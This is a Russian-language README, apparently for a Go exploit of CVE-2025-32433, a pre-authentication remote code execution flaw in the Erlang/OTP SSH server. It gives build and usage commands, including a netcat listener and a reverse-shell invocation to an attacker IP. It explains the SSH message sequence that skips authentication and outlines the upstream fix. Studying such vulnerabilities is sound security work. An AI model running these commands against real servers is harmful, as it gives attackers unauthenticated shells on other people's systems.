
Эксплойт на Go для CVE-2025-32433
Эксплойт на Go для CVE-2025-32433, который возвращает удалённую bash-оболочку.
Во многом основано на понимании эксплойта, полученном из PoC от ProDefense для CVE-2025-32433.
make
exploit.exeтакже доступен для Windows-машин благодаря Makefile с кросс-компиляцией.
затем запустите бинарный файл эксплойта одним из двух способов:
Команда
./exploit <target-ip> <target-port> "<command>"
ПРИМЕЧАНИЕ: не возвращает вывод команды
Реверс-шелл
nc -lnvp <attacker-port>
./exploit <target-ip> <target-port> <attacker-ip> <attacker-port>
Используя Dockerfile от ProDefense, вы можете настроить окружение следующим образом:
docker build -t "cve-2025-32433:Dockerfile" .
docker run -p 2222:2222 cve-2025-32433:Dockerfile
Затем вы можете запустить эксплойт, как указано в разделе Запуск эксплойта: например,
nc -lnvp 4444
./exploit 127.0.0.1 2222 172.17.0.1 4444
172.17.0.1— IP-адрес по умолчанию для хоста Docker.
TL;DR «Проблема вызвана ошибкой в обработке сообщений протокола SSH, которая позволяет атакующему отправлять сообщения протокола соединения до аутентификации»
Типичная процедура SSH:
SSH_MSG_KEXINIT
→ SSH_MSG_KEXDH_INIT / KEX_ECDH_INIT (key exchange)
→ SSH_MSG_NEWKEYS
→ SSH_MSG_SERVICE_REQUEST ("ssh-userauth")
→ SSH_MSG_USERAUTH_REQUEST
→ SSH_MSG_USERAUTH_SUCCESS
→ SSH_MSG_CHANNEL_OPEN
→ SSH_MSG_CHANNEL_REQUEST
Процедура эксплойта:
SSH_MSG_KEXINITSSH_MSG_CHANNEL_OPEN (до аутентификации)SSH_MSG_CHANNEL_REQUEST (до аутентификации) --> содержит полезную нагрузку командыОбратите внимание, что в эксплойте пропускается вся часть USERAUTH.
Соответствующие RFC для сообщений SSH:
RFC 4253: The Secure Shell (SSH) Transport Layer ProtocolRFC 4254: The Secure Shell (SSH) Connection Protocol

SSH_MSG_KEXINIT

SSH_MSG_CHANNEL_OPEN

SSH_MSG_CHANNEL_REQUEST

Формат строки (из RFC 4251: The Secure Shell (SSH) Protocol Architecture)

Дополнение

Ниже приведено исправление, внесённое в библиотеки Erlang OTP в коммите ssh: early RCE fix:

Исправление вводит новое предложение handle_msg, которое, согласно его аргументам, перехватывает:
Msg: переменная, перехватывающая все входящие SSH-сообщения, которые ещё не были сопоставлены предыдущими предложениями (например, #ssh_msg_disconnect{})#ssh{authenticated = false}: состояние сеанса, которое совпадает, если соединение ещё не было аутентифицировано.Это предложение не будет перехватывать сеансы с флагом authenticated = true, который присваивается сеансу, когда сервер получает #ssh_msg_userauth_success{}:

которое отправляется после успеха любого из следующих методов аутентификации:
